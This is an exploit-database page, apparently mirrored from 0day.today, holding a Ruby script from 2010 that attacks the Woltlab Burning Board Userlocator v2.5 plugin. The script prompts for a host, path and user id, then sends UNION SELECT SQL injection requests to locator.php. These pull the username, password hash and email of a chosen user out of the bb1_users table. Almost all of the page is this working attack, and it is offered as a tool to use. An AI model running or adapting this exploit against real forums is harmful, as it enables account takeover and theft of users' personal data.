Lucene search
K

Woltlab Burning Board Userlocator v2.5 SQL injection Exploit

🗓️ 10 Nov 2010 00:00:00Reported by Easy LasterType 
zdt
 zdt
🔗 0day.today👁 19 Views

Woltlab Burning Board Userlocator v2.5 SQL injection Exploi

Code
============================================================
Woltlab Burning Board Userlocator v2.5 SQL injection Exploit
============================================================

----------------------------Information------------------------------------------------
+Name : Woltlab Burning Board Userlocator V2.5 Hack  <=  SQL injection Exploit
+Autor : Easy Laster
+Date   : 08.11.2010
+Script  : Woltlab Burning Board Userlocator V2.5 Hack

----------------------------------------------------------------------------------------
#!/usr/bin/ruby
#4004-security-project.com
#Discovered and vulnerability by Easy Laster
print "
############################################################
#                    4004-Security-Project                 #
############################################################
#Woltlab Burning Board Userlocator V2.5 Hack SQL Injection #
#                          Exploit                         #
#                     Using Host+Path+id                   #
#                     www.demo.de /wbb/ 1                  #
#                         Easy Laster                      #
############################################################
"
require 'net/http'
block = "#########################################################"
print ""+ block +""
print "\nEnter host name (site.com)->"
host=gets.chomp
print ""+ block +""
print "\nEnter script path (/wbb/)->"
path=gets.chomp
print ""+ block +""
print "\nEnter the id (id)->"
userid=gets.chomp
print ""+ block +""
begin
dir =  "locator.php?sid=&action=get_user&x=%27+union+select+1,conca"+
       "t(0x23,0x23,0x23,0x23,0x23,userid,0x23,0x23,0x23,0x23,0x23),"+
       "3+from+bb1_users+where+userid="+userid+"--+"+"&y=&p="
       http = Net::HTTP.new(host, 80)
       resp= http.get(path+dir)
       print "\nUserid -> "+(/#####(.+)#####/).match(resp.body)[1]
           dir =  "locator.php?sid=&action=get_user&x=%27+union+select+1,conca"+
           "t(0x23,0x23,0x23,0x23,0x23,username,0x23,0x23,0x23,0x23,0x23),"+
           "3+from+bb1_users+where+userid="+userid+"--+"+"&y=&p="
           http = Net::HTTP.new(host, 80)
           resp= http.get(path+dir)
           print "\nUsername -> "+(/#####(.+)#####/).match(resp.body)[1]
                dir =  "locator.php?sid=&action=get_user&x=%27+union+select+1,conca"+
                "t(0x23,0x23,0x23,0x23,0x23,password,0x23,0x23,0x23,0x23,0x23),"+
                "3+from+bb1_users+where+userid="+userid+"--+"+"&y=&p="
                http = Net::HTTP.new(host, 80)
                resp= http.get(path+dir)
                print "\nPassword -> "+(/#####(.+)#####/).match(resp.body)[1]
        dir =  "locator.php?sid=&action=get_user&x=%27+union+select+1,conca"+
        "t(0x23,0x23,0x23,0x23,0x23,email,0x23,0x23,0x23,0x23,0x23),"+
        "3+from+bb1_users+where+userid="+userid+"--+"+"&y=&p="
        http = Net::HTTP.new(host, 80)
        resp= http.get(path+dir)
        print "\nEmail -> "+(/#####(.+)#####/).match(resp.body)[1]
    print "\n#########################################################"
 rescue
print "\nExploit failed"
end



#  0day.today [2018-04-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation